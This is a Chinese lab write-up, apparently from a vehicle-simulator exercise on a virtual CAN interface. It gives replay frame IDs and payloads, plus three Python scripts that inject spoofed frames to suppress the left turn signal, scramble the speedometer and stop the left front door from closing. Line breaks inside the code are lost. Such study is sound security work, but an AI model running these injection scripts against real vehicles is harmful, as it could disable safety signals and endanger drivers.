重放攻击
加速:26B#00000000XX000 其中XX高位为0,低七位为速度变化大小
减速:26B#00000000XX000 其中XX高位为1,低七位为速度变化大小
左转 478#0000000000010000
右转 478#0000000000020000
双闪 478#0000000000030000
6E9#000000000X X为控制字段,控制逻辑与之前一致
重放关键单帧
重放转向帧
重放速度控制帧
加速
车门控制
重放一段时间内的帧
做如下操作,
加速,左转,开左门,右转,开右门,双闪,减速
监听操作
进行重放
Dos攻击
1、左转向灯无法正常亮起、右转向灯可正常控制。
实时监听CAN总线:捕获ID为0x46A
的报文。
选择性覆盖:当检测到数据字段包含01
(左转)时,立即注入覆盖帧(如46A#0000000000
),强制左转向灯状态归零110。
放行右转信号:对包含02
的报文不做处理,允许正常传输。
import can
import timedef left_turn_dos_attack():bus = can.interface.Bus(channel='vcan0', bustype='socketcan')# 目标仲裁IDtarget_id = 0x46Aprint("启动左转向灯DoS攻击...")print("攻击策略:覆盖所有左转信号(46A#01...),放行右转信号(46A#02...)")try:while True:# 监听总线msg = bus.recv(timeout=0.01)if msg and msg.arbitration_id == target_id:# 检测左转信号(数据首字节为0x01)if msg.data[0] == 0x01:# 构造覆盖帧:所有字节归零spoof_data = [0x00] * 8spoof_msg = can.Message(arbitration_id=target_id,data=spoof_data,is_extended_id=False)# 立即注入覆盖帧bus.send(spoof_msg)print(f"覆盖左转信号: {msg.data.hex()} -> 00...")except KeyboardInterrupt:print("攻击终止")if __name__ == "__main__":left_turn_dos_attack()
测试攻击效果
测试左转
测试右转效果
2、仪表盘失灵,加速时无法正确显示当前速度。
这里的主要思路,就是监听是否为加速状态,如果处于加速状态,就将其速度设为随机值,干扰仪表盘操作
这里有个问题,当处于不操作的状态时,线路上依然会有速度控制的数据帧,这里经过测试发现是1km/h,因此这里的检测机制就很明白了
import can
import time
import randomdef speed_display_dos_attack():# 配置虚拟CAN接口bus = can.interface.Bus(channel='vcan0', bustype='socketcan')# 目标仲裁IDtarget_id = 0x26Bprint("启动速度显示DoS攻击...")print("攻击策略:注入随机速度值覆盖真实车速显示")print("按Ctrl+C停止攻击")try:last_speed = 0while True:# 监听真实速度更新msg = bus.recv(timeout=0.001)if msg and msg.arbitration_id == target_id and msg.data[4]!=0x01:real_speed = msg.data[4]# 检测加速状态 (速度增加>5km/h)if real_speed > last_speed + 5:# 加速时注入极端值attack_data = [0x00, 0x00, 0x00, 0x00, random.choice([0, 255]), 0x00, 0x00, 0x00]else:# 其他情况注入随机值attack_data = [0x00, 0x00, 0x00, 0x00, random.randint(0, 255), 0x00, 0x00, 0x00]# 创建并发送CAN消息msg = can.Message(arbitration_id=target_id,data=attack_data,is_extended_id=False)bus.send(msg)last_speed = real_speedprint(f"当前真实速度: {real_speed} km/h | 注入攻击值: {attack_data[4]} km/h", end='\r')except KeyboardInterrupt:print("\n攻击停止")if __name__ == "__main__":speed_display_dos_attack()
初始不操作状态时,仪表盘也相当稳定
这里开始加速
此时,仪表盘的指针快速跳动,无法显示真实的速度值
3、左前门无法正常关闭,其余车门可正常控制。
这里的思路,就是实时监控车门控制报文
- 当检测到试图关闭左前门的命令时,立即覆盖该报文
- 对其他车门控制命令不做干扰
测试
import can
import time
import threadingclass SelectiveDoorAttack:def __init__(self):# CAN接口配置(根据实际情况修改)self.bus = can.interface.Bus(channel='vcan0', bustype='socketcan')self.target_id = 0x6E9self.running = False# 攻击报文 - 左前门强制打开,其他车门保持当前状态self.attack_data = bytes.fromhex("000000000E000000")# 状态维护报文 - 每秒发送1次self.status_data = bytes.fromhex("000000000E000000")# 当前车门状态缓存self.door_state = {'left_front': 'open','right_front': 'unknown','left_rear': 'unknown','right_rear': 'unknown'}def parse_door_state(self, data):# 提取控制字段(最后1字节的低4位)control_byte = data[4] & 0x0F# 映射到车门状态state_map = {0x0: {'left_front': 'open', 'right_front': 'open', 'left_rear': 'open', 'right_rear': 'open'},0x1: {'left_front': 'closed', 'right_front': 'open', 'left_rear': 'open', 'right_rear': 'open'},0xE: {'left_front': 'open', 'right_front': 'closed', 'left_rear': 'closed', 'right_rear': 'closed'},0xF: {'left_front': 'closed', 'right_front': 'closed', 'left_rear': 'closed', 'right_rear': 'closed'}}return state_map.get(control_byte, self.door_state)def is_closing_left_front(self, data):control_byte = data[4] & 0x0F# 当控制字段表示关闭左前门时(1,3,5,7,9,B,D,F)return control_byte & 0b0001 == 1def generate_counter_frame(self, original_data):# 保持原始数据,仅修改左前门状态为打开counter_data = bytearray(original_data)# 清除左前门关闭位 (bit0),设置左前门打开 (bit1=1, bit0=0)counter_data[4] = (counter_data[4] & 0b11110000) | 0b1110return bytes(counter_data)def monitor_and_attack(self):print("启动选择性干扰攻击...")while self.running:msg = self.bus.recv(timeout=0.1)if msg and msg.arbitration_id == self.target_id:# 更新车门状态缓存self.door_state = self.parse_door_state(msg.data)if self.is_closing_left_front(msg.data):print("检测到左前门关闭命令,发送干扰帧")counter_frame = self.generate_counter_frame(msg.data)attack_msg = can.Message(arbitration_id=self.target_id,data=counter_frame,is_extended_id=False)self.bus.send(attack_msg)def start_attack(self):self.running = True# 启动监听线程monitor_thread = threading.Thread(target=self.monitor_and_attack)monitor_thread.daemon = Truemonitor_thread.start()print("攻击已启动,按Ctrl+C停止")try:while True:time.sleep(1)except KeyboardInterrupt:self.stop_attack()def stop_attack(self):"""停止攻击"""self.running = Falseprint("攻击已停止")if __name__ == "__main__":attack = SelectiveDoorAttack()attack.start_attack()
启动脚本
这里尝试关闭左前门
发现无法关闭左前门
打开/关闭右前门
打开/关闭左后门
打开/关闭右后门
这里会有一个问题,由于控制车门的帧,表示的是一个状态,所以他不会考虑前一个状态;但是我们对车门的操作是则是一个具体的操作,比如车门开关;这里经过测试,状态是由这个操作盘来记录,初始时刻是车门全关,由操作来改变车门状态,他会事先记录这个状态通过操作是什么状态,然后发送一个相应状态的数据帧。因此这里如果关闭左前门,实际上左前没有关闭,但是操作盘默认左前门已经关闭,因此使用这个方法,可能会使得其他车门的操作也被拦截。
这里如果要解决的话,就是在拦截一次过后,就要对监控的状态进行修改,确保不影响其他车门的操作